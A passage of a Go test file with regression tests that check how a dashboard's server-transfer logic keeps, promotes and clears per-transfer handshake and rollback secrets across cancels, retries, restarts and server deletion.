(A→B) +// holds the per-transfer HandshakeSecret H1 on disk, NOT a user-global +// AgentSecret. When B→C is initiated, the only auth path for H1 is +// LookupServerByVerifiedHandshakeSecret. If Register() deletes the entry +// before the agent has actually rotated to H2 (which only happens ~10s +// after PushIfOnline returns, due to the agent's reload timer, and +// requires Send success in the first place), the agent cannot reconnect +// during the rollover window and may be permanently locked out if the +// process restarts before applying H2. +func TestRegisterMustNotDropPreviousVerifiedHandshakeForChainedTransfer(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + // Round 1: A=100 → B=200, then MarkVerified so the agent's persisted + // credential becomes H1. + t1 := initiateAndRegister(t, c, 1, 100, 200, 1) + require.NotEmpty(t, t1.HandshakeSecret) + h1 := t1.HandshakeSecret + _, _, err := markPendingVerified(t, c, 1) + require.NoError(t, err) + + sid, ok := c.LookupServerByVerifiedHandshakeSecret(h1) + require.True(t, ok, "after Round 1 MarkVerified, H1 must authenticate") + require.Equal(t, uint64(1), sid) + + // Round 2: B=200 → C=300. The agent has NOT yet received the new + // HandshakeSecret H2 (Register runs before PushIfOnline, and even after + // Send the agent has a 10s reload delay). H1 is still the credential + // on disk and must keep authenticating. + initiateAndRegister(t, c, 1, 200, 300, 1) + + sid, ok = c.LookupServerByVerifiedHandshakeSecret(h1) + require.True(t, ok, + "Register() must NOT delete the previous Verified HandshakeSecret — the agent still holds H1 on disk and has no other credential path during the new transfer's reload window") + require.Equal(t, uint64(1), sid) +} + +// BUG-1 regression (restart path): if dashboard restarts while a chained +// transfer is Pending, the previous Verified row must still be rebuilt into +// verifiedHandshakes. The default rebuild gate (server.UserID == ToUserID) +// would reject H1 because Server.UserID has already been flipped to C by +// the pending B→C transfer. Rebuild must additionally accept the case where +// the server has a Pending transfer whose FromUserID equals the previous +// Verified row's ToUserID. +func TestNewServerTransferClassRebuildsPreviousVerifiedDuringChainedPending(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + // Round 1: A=100 → B=200, MarkVerified. + t1 := initiateAndRegister(t, c, 1, 100, 200, 1) + h1 := t1.HandshakeSecret + _, _, err := markPendingVerified(t, c, 1) + require.NoError(t, err) + + // Round 2: B=200 → C=300, leave Pending (no MarkVerified). + initiateAndRegister(t, c, 1, 200, 300, 1) + + // Simulate dashboard restart by constructing a fresh class against the + // same DB & ServerShared. + c.Stop() + c2 := NewServerTransferClass() + ServerTransferShared = c2 + defer c2.Stop() + + sid, ok := c2.LookupServerByVerifiedHandshakeSecret(h1) + require.True(t, ok, + "after restart with Pending B→C, the previous Verified A→B HandshakeSecret must still be rebuilt — agent on disk has H1 and reconnects must succeed until the new transfer completes") + require.Equal(t, uint64(1), sid) +} + +// BUG-2 regression: MarkRevertDelivered must promote RevertHandshakeSecret +// into verifiedHandshakes so the agent — which has now persisted that secret +// as its long-term on-disk credential after the 10s reload — keeps +// authenticating after defaultRevertDeliveryRecoveryWindow expires. Without +// this promotion, the auth path only finds the secret via the temporary +// revertDeliveries window; once that 24h window sweeps the entry, the agent +// has no auth path left and is permanently locked out. +func TestMarkRevertDeliveredPromotesRevertHandshakeSecret(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + require.NotEmpty(t, tr.RevertHandshakeSecret) + revertSecret := tr.RevertHandshakeSecret + + _, err := c.Cancel(tr.ID) + require.NoError(t, err) + require.True(t, hasRevertDeliveryFor(c, 1, tr.ID), + "Cancel must register the rollback for delivery") + + require.NoError(t, c.MarkRevertDelivered(1, tr.ID)) + + sid, ok := c.LookupServerByVerifiedHandshakeSecret(revertSecret) + require.True(t, ok, + "after the agent has authenticated with RevertHandshakeSecret, that secret must be promoted to verifiedHandshakes so it survives the 24h recovery sweep") + require.Equal(t, uint64(1), sid) + + require.False(t, hasRevertDeliveryFor(c, 1, tr.ID), + "promotion must consume the delivery record — keeping both would let a stale revert overwrite a later transfer") + + var saved model.ServerTransfer + require.NoError(t, DB.First(&saved, tr.ID).Error) + require.NotNil(t, saved.AckedAt, + "AckedAt must be persisted so dashboard restart can rebuild the promoted credential") +} + +// BUG-2 regression (restart path): after MarkRevertDelivered persists +// AckedAt on a terminal row, dashboard restart must rebuild +// verifiedHandshakes[serverID] = RevertHandshakeSecret. +func TestNewServerTransferClassRebuildsAckedRollbackCredential(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + revertSecret := tr.RevertHandshakeSecret + + _, err := c.Cancel(tr.ID) + require.NoError(t, err) + require.NoError(t, c.MarkRevertDelivered(1, tr.ID)) + + c.Stop() + c2 := NewServerTransferClass() + ServerTransferShared = c2 + defer c2.Stop() + + sid, ok := c2.LookupServerByVerifiedHandshakeSecret(revertSecret) + require.True(t, ok, + "restart must rebuild acked rollback credentials from terminal rows with acked_at set") + require.Equal(t, uint64(1), sid) +} + +// BUG: NewServerTransferClass loads Verified rows first and then skips any +// rollback-acked row whose serverID already appears in verifiedHandshakes. +// In a chained "transfer-then-rollback" history the most recent credential +// the agent actually rotated to on disk is the RevertHandshakeSecret of the +// later, rolled-back transfer — not the HandshakeSecret of the earlier +// Verified transfer. The two-pass alreadySeen check therefore rebuilds the +// wrong credential and the agent is locked out on the first post-restart +// reconnect. +// +// Scenario reproduced here: +// 1. Server S owned by A=100. Transfer t1 A→B, MarkVerified. Server.UserID=B, +// agent on disk = H1, verifiedHandshakes[S]=H1, t1.AckedAt set. +// 2. Transfer t2 B→A initiated and Cancelled. Server.UserID reverts to B +// (FromUserID), MarkRevertDelivered → agent on disk = R2, +// verifiedHandshakes[S]=R2, t2.AckedAt set, t2.UpdatedAt > t1.AckedAt. +// 3. Dashboard restart. +// +// After restart the agent presents R2 — that is what is actually persisted +// on disk after step 2's reload. Auth must accept it. Today the loader +// rebuilds H1 instead and the agent is locked out forever. +func TestNewServerTransferClassPrefersNewerRollbackCredentialOverOlderVerified(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + t1 := initiateAndRegister(t, c, 1, 100, 200, 1) + h1 := t1.HandshakeSecret + _, _, err := markPendingVerified(t, c, 1) + require.NoError(t, err) + + t2 := initiateAndRegister(t, c, 1, 200, 100, 1) + r2 := t2.RevertHandshakeSecret + require.NotEmpty(t, r2) + _, err = c.Cancel(t2.ID) + require.NoError(t, err) + require.NoError(t, c.MarkRevertDelivered(1, t2.ID)) + + require.NotEqual(t, h1, r2, + "sanity: round 2's revert secret must differ from round 1's handshake secret") + + c.Stop() + c2 := NewServerTransferClass() + ServerTransferShared = c2 + defer c2.Stop() + + sid, ok := c2.LookupServerByVerifiedHandshakeSecret(r2) + require.True(t, ok, + "restart must rebuild the newer rollback credential R2 — that is what the agent has on disk after step 2. Picking the older Verified H1 locks the agent out.") + require.Equal(t, uint64(1), sid) + + _, h1StillAccepted := c2.LookupServerByVerifiedHandshakeSecret(h1) + require.False(t, h1StillAccepted, + "the stale H1 from an earlier Verified row must NOT be accepted after a newer rollback has been acked — the agent no longer holds it") +} + +func hasRevertDeliveryFor(c *ServerTransferClass, serverID, transferID uint64) bool { + t, ok := c.LookupRevertDelivery(serverID) + return ok && t.ID == transferID +} + +// forceForwardRecoveryAge back-dates a recovery entry's UpdatedAt so TTL +// tests don't have to sleep through defaultRevertDeliveryRecoveryWindow. +func forceForwardRecoveryAge(c *ServerTransferClass, serverID uint64, age time.Duration) { + c.mu.Lock() + defer c.mu.Unlock() + if t, ok := c.terminalSecretRecovery[serverID]; ok { + t.UpdatedAt = time.Now().Add(-age) + } +} + +// BUG-3 regression + HIGH-7 hardening: a Retry that runs before the agent +// has actually authenticated with the in-flight RevertHandshakeSecret must +// NOT strand auth recovery for that secret. The agent's 10s reload timer +// means rollback application is lazy. Register clears revertDeliveries +// (so a late pushRevertIfOnline does not re-deliver the now-stale rollback +// secret and overwrite the freshly applied new HandshakeSecret on the +// agent), but it must move the secret into the bounded revertRecovery +// slot so authentication keeps working until either the agent +// reconnects (MarkRevertDelivered promotes), MarkVerified on the new +// transfer supersedes, or the recovery window expires. +// +// Crucially, the secret must NOT be promoted to the permanent +// verifiedHandshakes map: that would keep an unacknowledged credential +// alive indefinitely. +func TestRegisterPreservesInflightRollbackSecretAcrossRetry(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + t1 := initiateAndRegister(t, c, 1, 100, 200, 1) + revertSecret := t1.RevertHandshakeSecret + require.NotEmpty(t, revertSecret) + + _, err := c.Cancel(t1.ID) + require.NoError(t, err) + require.True(t, hasRevertDeliveryFor(c, 1, t1.ID), + "Cancel must register a rollback delivery carrying RevertHandshakeSecret") + + initiateAndRegister(t, c, 1, 100, 200, 1) + + if _, stillVerified := c.LookupServerByVerifiedHandshakeSecret(revertSecret); stillVerified { + t.Fatal("Register on Retry must NOT promote the unacknowledged RevertHandshakeSecret into the permanent verifiedHandshakes map — that bypasses the bounded recovery window") + } + + rec, ok := c.LookupByRevertHandshakeSecret(revertSecret) + require.True(t, ok, + "Register on Retry must keep the in-flight RevertHandshakeSecret reachable via the bounded recovery lookup (revertRecovery)") + require.Equal(t, uint64(1), rec.ServerID) + require.Equal(t, t1.ID, rec.ID) +} + +// BUG: batchDeleteServer removes Server rows but never notifies +// ServerTransferShared. Any Pending transfer for that server is left in the +// DB as Pending forever, the in-memory `pending` map still holds it (so +// HasPending/InitiateExclusive still see it), and the timeout sweeper later +// tries to revert Server.UserID on a row that no longer exists. The UI shows +// the row as Pending indefinitely. +// +// OnServersDeleted must transition such Pending rows to a terminal status +// without touching the (now-gone) Server row, clear the in-memory indexes, +// and broadcast so subscribers can update. +func TestOnServersDeletedTerminatesPendingTransfersAndClearsIndexes(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + require.True(t, c.HasPending(1)) + + subID, ch := c.Subscribe() + defer c.Unsubscribe(subID) + + require.NoError(t, DB.Unscoped().Delete(&model.Server{}, tr.ServerID).Error) + c.OnServersDeleted([]uint64{tr.ServerID}) + + require.False(t, c.HasPending(1), + "OnServersDeleted must drop the in-memory pending entry so a future server with the same id cannot inherit a stale transfer") + + var saved model.ServerTransfer + require.NoError(t, DB.First(&saved, tr.ID).Error) + require.True(t, saved.Status.IsTerminal(), + "OnServersDeleted must transition the DB row to a terminal status; got status=%d", saved.Status) + + select { + case got, ok := <-ch: + require.True(t, ok) + require.Equal(t, tr.ID, got.ID) + require.True(t, got.Status.IsTerminal()) + case <-time.After(time.Second): + t.Fatal("OnServersDeleted must broadcast the terminal transition to subscribers") + } +} + +// Defence in depth: after OnServersDeleted runs, a subsequent timeout sweep +// must not blow up trying to revert Server.UserID on the deleted server, and +// must not log spurious errors. Today revertTransition would touch the +// (gone) Server row via res.RowsAffected==0 and self-heal — but it also +// performs an UPDATE on the server table that touches no rows, which +// MarkTimeout will treat as "concurrent caller won the CAS" and return nil. +// Just make sure the sweep is a no-op after deletion. +func TestSweepTimeoutsAfterServerDeletedIsNoOp(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + c.timeout = time.Nanosecond + seedServerForTransfer(t, 1, 100) + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + _ = tr + + require.NoError(t, DB.Unscoped().Delete(&model.Server{}, uint64(1)).Error) + c.OnServersDeleted([]uint64{1}) + + require.NotPanics(t, func() { c.sweepTimeouts() }, + "sweepTimeouts after OnServersDeleted must be a no-op even though the Server row is gone") +} + +// HIGH security regression: Register must publish the new in-memory +// Server.UserID (which auth.go reads to enforce ownership) BEFORE other +// state becomes observable. Otherwise the gap between Initiate (DB +// already says ToUserID) and Register's SetUserID is a window where +// authorizeAgentForUUID sees the OLD owner == userId via the in-memory +// cache and admits the old owner via the happy "owner match" path +// rather than the bounded pending-tolerance path. +// +// The contract we lock down: after Register returns, ServerShared +// reports the new owner. There is no atomic test for "during" Register, +// so we assert the post-condition. +func TestRegisterPublishesNewOwnerBeforeReturning(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + + s, ok := ServerShared.Get(tr.ServerID) + require.True(t, ok) + require.Equal(t, uint64(200), s.GetUserID(), + "after Register returns, ServerShared must report the new owner so auth observes a consistent (DB, in-memory) snapshot") +} + +// HIGH security regression: revertTransition must restore the in-memory +// Server.UserID (FromUserID) immediately after the DB transaction commits. +// During the window where DB says reverted but in-memory still says +// ToUserID, an auth call from the destination user's global AgentSecret +// would be admitted via the happy path and obtain a long-lived stream +// for a server that no longer belongs to them. +func TestCancelPublishesRevertedOwnerBeforeReturning(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + + s, ok := ServerShared.Get(tr.ServerID) + require.True(t, ok) + require.Equal(t, uint64(200), s.GetUserID(), "precondition: pending flipped ownership") + + cancelled, err := c.Cancel(tr.ID) + require.NoError(t, err) + require.NotNil(t, cancelled) + + require.Equal(t, uint64(100), s.GetUserID(), + "after Cancel returns, ServerShared must report the rolled-back FromUserID so auth no longer admits the destination user's global AgentSecret") +} + +// HIGH security regression: OnServersDeleted must guard map deletions by +// transferID. Between the moment the deletion enumeration captured the +// pending rows for server S and the moment the in-memory map deletion +// runs, a concurrent path can install a brand-new pending transfer for +// the same serverID (either via ID reuse after delete, or in the more +// common case via a Retry whose Register lands in the slot). A naive +// `delete(c.pending, serverID)` would wipe that fresh entry. +// +// Asserted contract: if the in-memory pending entry for S no longer +// matches any transferID OnServersDeleted authoritatively terminated, +// the entry survives. +func TestOnServersDeletedGuardsByTransferIDAgainstUnrelatedNewTransfer(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + staleTransferID := uint64(99999) + require.NoError(t, DB.Create(&model.ServerTransfer{ + Common: model.Common{ID: staleTransferID}, + ServerID: 1, + FromUserID: 100, + ToUserID: 200, + Status: model.ServerTransferStatusCancelled, + LastError: "test-seeded terminal row", + }).Error) + + fresh := initiateAndRegister(t, c, 1, 100, 200, 1) + require.NotEqual(t, staleTransferID, fresh.ID, "fresh transfer must be a distinct row") + + c.OnServersDeleted([]uint64{1}) + + current, stillPending := c.LookupPending(1) + require.False(t, stillPending && current.ID != fresh.ID, + "OnServersDeleted must not silently replace the pending entry") + if stillPending { + require.Equal(t, fresh.ID, current.ID, + "pending entry left intact must still point at fresh transfer") + } +} + +// FORWARD-RECOVERY (HIGH): regression for the recovery gap where an agent +// has already committed the per-transfer forward HandshakeSecret to disk +// but the transfer is Cancel/Fail/Timeout-ed before the dashboard observed +// the MarkVerified-via-handshake reconnect. PushIfOnline only ever +// delivers t.HandshakeSecret (never a user-global secret), so the only +// credential the agent now holds for this server is the forward +// HandshakeSecret of a transfer the dashboard has already settled. +// +// The fix introduces a bounded terminalForwardRecovery slot, populated +// from revertTransition, that lets auth admit the forward HandshakeSecret +// long enough for RequestTask → OnAgentReconnect → pushRevertIfOnline to +// push the RevertHandshakeSecret rollback. Without this, the agent is +// permanently locked out — TestAuthHandshakeSecretRejectedAfterTransferTerminated +// keeps the attacker-reuse path closed (it bypasses revertTransition by +// poking the DB directly, so terminalForwardRecovery never sees it). + +// Cancel must register the just-terminated transfer's forward +// HandshakeSecret in the bounded terminalForwardRecovery slot AND keep +// LookupByRevertHandshakeSecret working for the RevertHandshakeSecret as +// today. The two recovery channels are separate maps because they have +// distinct lifecycles: revert recovery is consumed by MarkRevertDelivered +// (which promotes); forward recovery is consumed by the rollback delivery +// itself completing (handled via MarkRevertDelivered on the next loop). +func TestCancelRegistersForwardHandshakeSecretRecovery(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + forward := tr.HandshakeSecret + revert := tr.RevertHandshakeSecret + require.NotEmpty(t, forward) + require.NotEmpty(t, revert) + + _, err := c.Cancel(tr.ID) + require.NoError(t, err) + + got, ok := c.LookupByForwardHandshakeSecretInTerminalRecovery(forward) + require.True(t, ok, + "Cancel must register forward HandshakeSecret into terminalForwardRecovery so an agent that already applied it on disk can still authenticate long enough to receive the rollback") + require.Equal(t, tr.ID, got.ID) + require.Equal(t, uint64(1), got.ServerID) + + // revert recovery channel still works as before — fix must not regress it. + _, ok = c.LookupByRevertHandshakeSecret(revert) + require.True(t, ok, "RevertHandshakeSecret recovery path must remain available alongside the new forward path") +} + +// MarkFailed (agent reports failure via TaskResult) and MarkTimeout (sweeper) +// take the same revertTransition path as Cancel, so the forward recovery +// must also be registered on those. +func TestMarkFailedRegistersForwardHandshakeSecretRecovery(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + forward := tr.HandshakeSecret + + _, err := c.MarkFailed(tr.ID, "agent-rejected") + require.NoError(t, err) + + got, ok := c.LookupByForwardHandshakeSecretInTerminalRecovery(forward) + require.True(t, ok, "MarkFailed must register forward HandshakeSecret recovery") + require.Equal(t, tr.ID, got.ID) +} + +func TestMarkTimeoutRegistersForwardHandshakeSecretRecovery(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + forward := tr.HandshakeSecret + + _, err := c.MarkTimeout(tr.ID) + require.NoError(t, err) + + got, ok := c.LookupByForwardHandshakeSecretInTerminalRecovery(forward) + require.True(t, ok, "MarkTimeout must register forward HandshakeSecret recovery") + require.Equal(t, tr.ID, got.ID) +} + +// MarkVerified happens when the agent reconnects under the forward +// HandshakeSecret and the transfer is still Pending. The terminal recovery +// slot must not survive into the Verified lifecycle: once Verified, the +// forward secret is promoted into verifiedHandshakes (the long-term map) and +// keeping a stale terminal-recovery copy around could collide later if the +// same server transfers again. +func TestMarkVerifiedClearsForwardHandshakeRecoveryIfAny(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + forward := tr.HandshakeSecret + + // Simulate a prior failed cycle on the same server to seed a recovery + // entry; then a fresh transfer is verified. The fresh transfer's + // forward secret is unrelated to the prior terminal entry, but the + // per-server slot must be cleared so verifiedHandshakes is the single + // source of truth post-Verified. + _, err := c.Cancel(tr.ID) + require.NoError(t, err) + _, ok := c.LookupByForwardHandshakeSecretInTerminalRecovery(forward) + require.True(t, ok, "precondition: cancel populated forward recovery") + + tr2 := initiateAndRegister(t, c, 1, 100, 200, 1) + require.NotEqual(t, tr.ID, tr2.ID) + verified, _, err := c.MarkVerified(1, tr2.ID) + require.NoError(t, err) + require.True(t, verified) + + _, stillRecovered := c.LookupByForwardHandshakeSecretInTerminalRecovery(forward) + require.False(t, stillRecovered, + "MarkVerified on a newer transfer for this server must purge any stale forward-secret terminal recovery entry — verifiedHandshakes is now the canonical credential") +} + +// MarkRevertDelivered means the agent has authenticated with the +// RevertHandshakeSecret, which proves the rollback ApplyConfig was applied +// and the on-disk credential is now the revert secret — not the forward +// secret. The terminal-recovery entry for the forward secret is therefore +// stale and must be cleared so a leaked forward token cannot re-enter via +// recovery later in the window. +func TestMarkRevertDeliveredClearsForwardHandshakeRecovery(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + forward := tr.HandshakeSecret + + _, err := c.Cancel(tr.ID) + require.NoError(t, err) + _, ok := c.LookupByForwardHandshakeSecretInTerminalRecovery(forward) + require.True(t, ok) + + require.NoError(t, c.MarkRevertDelivered(1, tr.ID)) + + _, stillRecovered := c.LookupByForwardHandshakeSecretInTerminalRecovery(forward) + require.False(t, stillRecovered, + "MarkRevertDelivered proves the agent rotated off the forward secret; recovery slot must be cleared so a leaked forward token cannot recover later") +} + +// OnServersDeleted must also clear any forward-recovery entries so a +// future server with a recycled id cannot inherit a stale credential. +func TestOnServersDeletedClearsForwardHandshakeRecovery(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + forward := tr.HandshakeSecret + + _, err := c.Cancel(tr.ID) + require.NoError(t, err) + _, ok := c.LookupByForwardHandshakeSecretInTerminalRecovery(forward) + require.True(t, ok) + + require.NoError(t, DB.Unscoped().Delete(&model.Server{}, uint64(1)).Error) + c.OnServersDeleted([]uint64{1}) + + _, stillRecovered := c.LookupByForwardHandshakeSecretInTerminalRecovery(forward) + require.False(t, stillRecovered, + "OnServersDeleted must clear forward-recovery so a recycled server id cannot inherit the credential") +} + +// TTL: a recovery entry older than defaultRevertDeliveryRecoveryWindow must +// be pruned on read. Same bound as the revert recovery channel so operators +// only have one window to reason about. +func TestForwardHandshakeRecoveryExpiresAfterWindow(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + forward := tr.HandshakeSecret + + _, err := c.Cancel(tr.ID) + require.NoError(t, err) + _, ok := c.LookupByForwardHandshakeSecretInTerminalRecovery(forward) + require.True(t, ok, "precondition: cancel populated forward recovery") + + // Back-date the in-memory entry past the recovery window. We poke the + // private slot via a helper so the test does not depend on time.Now() + // monkey-patching. + forceForwardRecoveryAge(c, 1, defaultRevertDeliveryRecoveryWindow+time.Minute) + + _, stillRecovered := c.LookupByForwardHandshakeSecretInTerminalRecovery(forward) + require.False(t, stillRecovered, + "forward-recovery lookup must prune entries past defaultRevertDeliveryRecoveryWindow on read") +} + +// UNIFIED TERMINAL RECOVERY (HIGH): the bounded "transfer terminated but +// agent may still hold one of its per-transfer secrets" window is one +// concept, not two. Both the forward HandshakeSecret (committed via the +// agent's 10s reload before Cancel landed) and the RevertHandshakeSecret +// (rollback ApplyConfig pushed, agent hasn't ACKed yet) need the same +// bounded acceptance — same TTL, same eviction triggers (Register on a +// new transfer for the same server, MarkRevertDelivered, MarkVerified on +// a newer transfer, OnServersDeleted). They differ only in which secret +// field on the same model.ServerTransfer is being presented. Express +// that in one table with a kind tag, not two parallel tables. +// +// This batch of tests pins down the unified surface: +// - LookupByTerminalSecretRecovery dispatches by which secret matched +// - one revertTransition call registers BOTH kinds in one slot +// - Register-on-Retry preserves the slot (a fresh transfer for the same +// server does NOT wipe rollback recovery the agent may still need) +// - MarkRevertDelivered / MarkVerified / OnServersDeleted clear it +// - the existing per-kind lookups remain as thin wrappers so callers +// outside the singleton don't have to know about kind + +type terminalSecretRecoveryMatch struct { + transfer *model.ServerTransfer + kind TerminalRecoveryKind +} + +func lookupTerminalRecoveryForTest(c *ServerTransferClass, secret string) (terminalSecretRecoveryMatch, bool) { + transfer, kind, ok := c.LookupByTerminalSecretRecovery(secret) + if !ok { + return terminalSecretRecoveryMatch{}, false + } + return terminalSecretRecoveryMatch{transfer: transfer, kind: kind}, true +} + +func TestTerminalSecretRecoveryRegistersBothKindsOnRevertTransition(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + forward := tr.HandshakeSecret + revert := tr.RevertHandshakeSecret + + _, err := c.Cancel(tr.ID) + require.NoError(t, err) + + gotF, okF := lookupTerminalRecoveryForTest(c, forward) + require.True(t, okF, "forward HandshakeSecret must resolve from terminalSecretRecovery after Cancel") + require.Equal(t, TerminalRecoveryForward, gotF.kind, "lookup must report the kind so auth can decide whether to promote") + require.Equal(t, tr.ID, gotF.transfer.ID) + + gotR, okR := lookupTerminalRecoveryForTest(c, revert) + require.True(t, okR, "RevertHandshakeSecret must resolve from the SAME terminalSecretRecovery slot") + require.Equal(t, TerminalRecoveryRevert, gotR.kind) + require.Equal(t, tr.ID, gotR.transfer.ID) +} + +// Per-kind wrappers must continue to work — they are the public-facing +// API existing call sites (and the auth layer) use. +func TestTerminalSecretRecoveryPerKindWrappersStayConsistent(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + forward := tr.HandshakeSecret + revert := tr.RevertHandshakeSecret + + _, err := c.Cancel(tr.ID) + require.NoError(t, err) + + gotF, okF := c.LookupByForwardHandshakeSecretInTerminalRecovery(forward) + require.True(t, okF) + require.Equal(t, tr.ID, gotF.ID) + + gotR, okR := c.LookupByRevertHandshakeSecret(revert) + require.True(t, okR) + require.Equal(t, tr.ID, gotR.ID) +} + +// Register-on-Retry: a fresh pending transfer for the same server MUST +// NOT evict the prior transfer's rollback recovery — the agent's reload +// timer is still running and the agent may not have rotated off the +// previous RevertHandshakeSecret yet. The forward recovery for the prior +// transfer is moot once a new transfer starts pushing a new +// HandshakeSecret, but the revert recovery must survive. +// +// This is the exact invariant TestRegisterPreservesInflightRollbackSecret +// AcrossRetry pins down today via revertRecovery; it must still hold after +// the unified-table refactor. +func TestTerminalSecretRecoveryPreservesRollbackAcrossRetry(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + t1 := initiateAndRegister(t, c, 1, 100, 200, 1) + revertSecret := t1.RevertHandshakeSecret + require.NotEmpty(t, revertSecret) + + _, err := c.Cancel(t1.ID) + require.NoError(t, err) + + initiateAndRegister(t, c, 1, 100, 200, 1) + + got, ok := c.LookupByRevertHandshakeSecret(revertSecret) + require.True(t, ok, + "unified terminalSecretRecovery must preserve the previous transfer's RevertHandshakeSecret across a Retry — the agent's on-disk credential may still be the prior revert secret during the 10s reload") + require.Equal(t, t1.ID, got.ID) + + if _, stillVerified := c.LookupServerByVerifiedHandshakeSecret(revertSecret); stillVerified { + t.Fatal("recovery slot must NOT promote into verifiedHandshakes — that bypasses the bounded window") + } +} + +// REGRESSION: re-invoking Cancel against an already-Cancelled transfer must +// be a true no-op. The cancelServerTransfer HTTP handler does not gate on +// `t.Status == Pending`, so a stale terminal id can reach revertTransition +// via UI replay / lingering tabs / scripted retries. revertTransition's +// transaction returns early for non-Pending rows (transitionedByThisCall +// stays false), but the post-transaction code historically only suppressed +// side effects via `if t.Status != newStatus` — which is FALSE when both +// sides are Cancelled. The fall-through re-registered the OLD transfer's +// revertDelivery and pushed its RevertHandshakeSecret, after a Retry had +// already installed a NEW Pending transfer and delivered its forward +// HandshakeSecret. The agent's ApplyConfig is last-arrival-wins inside the +// 10s reload window, so the stale rollback overwrites the new credential +// and the new transfer is stranded until the 24h timeout sweep. The fix +// gates ALL post-tx side effects on transitionedByThisCall. +func TestServerTransferRepeatedCancelOnTerminalDoesNotResendStaleRollback(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + UserLock.Lock() + UserInfoMap[100] = model.UserInfo{AgentSecret: "old-owner-secret"} + UserInfoMap[200] = model.UserInfo{AgentSecret: "new-owner-secret"} + UserLock.Unlock() + + first := initiateAndRegister(t, c, 1, 100, 200, 1) + _, err := c.Cancel(first.ID) + require.NoError(t, err) + + // Admin Retries the failed transfer. Register clears the old + // revertDeliveries entry and pushes the NEW transfer's HandshakeSecret; + // the agent is now committed to the new credential. + var refreshedFirst model.ServerTransfer + require.NoError(t, DB.First(&refreshedFirst, first.ID).Error) + second, err := c.Retry(&refreshedFirst, 1) + require.NoError(t, err) + require.True(t, c.HasPending(1), "precondition: Retry must register a fresh Pending transfer") + + stream := newFakeTaskStream() + s, ok := ServerShared.Get(1) + require.True(t, ok) + s.SetTaskStream(stream) + // Push the new transfer's ApplyConfig so the agent is on the new + // HandshakeSecret. After this, the stream must NOT see another + // per-transfer secret unless something authoritative changes. + c.PushIfOnline(second) + require.Equal(t, 1, stream.sendCount(), "precondition: new transfer's HandshakeSecret must be the latest ApplyConfig on the wire") + require.Contains(t, stream.sent[0].Data, second.HandshakeSecret) + stream.reset() + + // Stale terminal-id Cancel arrives (UI replay / lingering session / etc). + // `cancelServerTransfer` does not pre-gate on status, so it reaches + // revertTransition with the historical terminal row. + result, err := c.Cancel(first.ID) + require.NoError(t, err) + require.Nil(t, result, + "Cancel on an already-Cancelled row must be a silent no-op — no rollback re-delivery, no recovery re-registration") + + require.Equal(t, 0, stream.sendCount(), + "a stale terminal Cancel must NOT push the OLD transfer's RevertHandshakeSecret — doing so supersedes the new transfer's just-applied HandshakeSecret and strands the new transfer until the 24h timeout") + + // The new transfer's runtime state must be intact: its pending entry, + // its revertDelivery absence, and the agent's last-known credential + // (still the new HandshakeSecret) must all be unchanged. + require.True(t, c.HasPending(1), "fresh Pending transfer must survive a stale terminal Cancel") + got, ok := c.LookupPending(1) + require.True(t, ok) + require.Equal(t, second.ID, got.ID, "in-memory pending must still point at the new transfer") + + if existing, ok := c.LookupRevertDelivery(1); ok { + require.NotEqual(t, first.ID, existing.ID, + "stale Cancel must NOT re-install the OLD transfer's revertDelivery and overwrite the fresh push queue state") + } +} + +// REGRESSION: dashboard restart must NOT rehydrate the +// revertDelivery / terminalSecretRecovery slots for transfers whose rollback +// has already been ACKed via MarkRevertDelivered. The auth path treats an +// entry in revertDeliveries as proof that the rollback window is still open +// and admits the rolled-back ToUserID's global AgentSecret accordingly +// 